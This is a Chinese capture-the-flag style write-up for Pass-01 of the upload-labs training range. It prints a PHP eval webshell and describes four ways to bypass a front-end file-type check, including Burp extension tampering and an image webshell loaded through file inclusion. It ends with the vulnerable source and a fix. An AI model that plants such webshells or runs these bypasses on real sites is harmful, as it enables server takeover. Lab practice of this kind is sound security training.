Track苏牧
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

实验准备
环境:Windows2008、phpstudy
靶场:upload-labs
工具:
浏览器:火狐浏览器
webshell管理工具:蚁剑
抓包改包工具:burpsuite
编辑器:010editor
下载upload-labs安装包,解压后将文件夹复制到phpstudy的WWW目录下
启动phpstudy
浏览器访问靶场
Pass-01
怎么绕过?
准备好webshell
#test.php
<?php
phpinfo();
@eval($_POST[666]);
?>
注:
1、phpinfo() 函数会打印phpinfo信息
2、加上@符号,程序执行出错后也不报错
3、eval() 函数将输入的字符串当做代码执行,$_POST是一个数组,用来接收POST请求
尝试上传
根据弹窗,猜测是前端检测,故进行前端检测绕过。
方法1:禁用JS
PHP版本:7.3.33TS
服务器:Apache2.4.39
1、URL栏输入about:config,找到javascript.enabled,点击禁用。
2、刷新网页,再次上传,上传成功。
3、右键复制图像链接,访问
4、连蚁剑
5、解除禁用
方法2:删除浏览器事件
PHP版本:7.3.33TS
服务器:Apache2.4.39
1、右键检查,选中上传按钮。发现浏览器事件,调用了检查文件类型的代码。
2、删除调用代码
3、再次上传,上传成功
方法3:bp抓包改后缀名
PHP版本:7.3.33TS
服务器:Apache2.4.39
1、复制一份webshell,改后缀为jpg。
2、bp与浏览器设置代理,开启拦截模式。
3、上传jpg文件,bp拦包。将后缀改回php。
4、放包,上传成功。
方法4:图片马+文件包含
PHP版本:7.3.33TS
服务器:Apache2.4.39
1、制作图片马
准备好脚本文件
<?php
phpinfo();
@eval($_POST[666]);
?>
准备好图片
打开cmd,使用copy命令合成图片马
2、上传图片马,复制链接
http://127.0.0.1/upload-labs/upload/pass1.jpg
3、配合文件包含漏洞,访问图片马
127.0.0.1/upload-labs/include.php?file=upload/pass1.jpg
分析源码
function checkFile() { //获取用户选择的文件路径
var file = document.getElementsByName('upload_file')[0].value;
//如果选择的路径为null或者为空,就提示用户选择 if (file == null || file == "") { alert("请选择要上传的文件!"); return false; }
//定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型;file是文件路径,从路径中获取.后的后缀名,也就是文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; }
修复建议
不使用前端检测。
因为前端代码是加载到用户的浏览器上的,是用户可控的,所以检测了跟没检测一样。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)